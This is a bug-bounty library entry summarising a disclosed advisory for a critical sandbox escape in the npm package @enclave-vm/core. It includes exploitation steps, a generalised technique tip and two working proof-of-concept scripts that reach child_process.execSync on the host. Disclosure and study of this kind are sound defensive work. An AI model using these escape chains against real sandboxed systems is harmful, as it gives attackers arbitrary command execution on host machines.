# @enclave-vm/core is vulnerable to Sandbox Escape

Sandbox escape in @enclave-vm/core via prototype traversal to native Object constructor, reaching host function constructor and executing child_process commands.

- Payout: Research
- Severity: critical
- Program: @enclave-vm/core
- Found by: c0rydoras, cookesan
- Disclosed: 2026-02-25
- CVE: CVE-2026-27597
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f229-3862-4942
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-f229-3862-4942
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:rce vuln:sandbox-escape

**Target:** JavaScript sandbox VM (npm library)
**Root cause:** Sandbox leaks the native Object constructor via `{}["__proto__"]["constructor"]`, bypassing the SafeObject wrapper; getOwnPropertyDescriptors then exposes host objects like __host_memory_track__ and __safe_console whose constructors reach the host Function constructor.
**Steps:**
1. Instantiate Enclave with securityLevel SECURE and a toolHandler.
2. Inside enclave.run, obtain native constructor: `const op = {}[['__proto__']]; const ho = op[['constructor']]`.
3. Enumerate host globals: `ho.getOwnPropertyDescriptors(this)`.
4. Reach host Function via `glob.__host_memory_track__.value[['constructor']]('return process')().getBuiltinModule('child_process').execSync('id')`.
5. Load child_process via `process.getBuiltinModule('child_process').execSync('id')`.
6. Alternate path with memoryLimit:0: get `nodejs.util.inspect.custom` symbol via `glob[['Symbol']].value.for(...)`, define it on an object, and pass to `glob.__safe_console.value.log(obj)` to invoke host inspect constructor.
**How found:** Researcher noticed the sandbox's SafeObject wrapper could be bypassed by walking `__proto__.constructor` to recover the native Object, then used getOwnPropertyDescriptors to enumerate otherwise-hidden host references.
**Exploitation:** Attacker-supplied untrusted code run inside the Enclave escapes the sandbox and executes arbitrary OS commands on the host via child_process.execSync, yielding full RCE.
**Escalation:** Two independent escape paths: default memory-limit host object (__host_memory_track__) and, when memoryLimit is 0, the console inspect custom symbol path.
**Insight:** In JS sandbox escapes, don't just check for `constructor` on wrapped objects — walk `__proto__` to recover the native intrinsic, then use getOwnPropertyDescriptors on the global to enumerate host-injected objects (memory trackers, consoles) whose own constructors still point at the host Function.

## Proof of concept (copied exactly from the original report)

**PoC 1 sandbox escape via __host_memory_track__**

```
const op = {}[["__proto__"]];
const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return {
  res: glob.__host_memory_track__.value[["constructor"]]("return process")()
    .getBuiltinModule("child_process")
    .execSync("id")
    .toString()
    .split("\\n"),
};`);
```

**PoC 2 escape via inspect.custom symbol**

```
const op = {}[['__proto__']];
const ho = op[['constructor']];

const glob = ho.getOwnPropertyDescriptors(this);

const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');

let result;
const obj = {
  [sym]: (depth, option, inspect) => {
    result = inspect[['constructor']]
      [['constructor']]('return process')()
      .getBuiltinModule('child_process')
      .execSync('id')
      .toString();
  },
};

glob.__safe_console.value.log(obj);
return { result }
`);
```

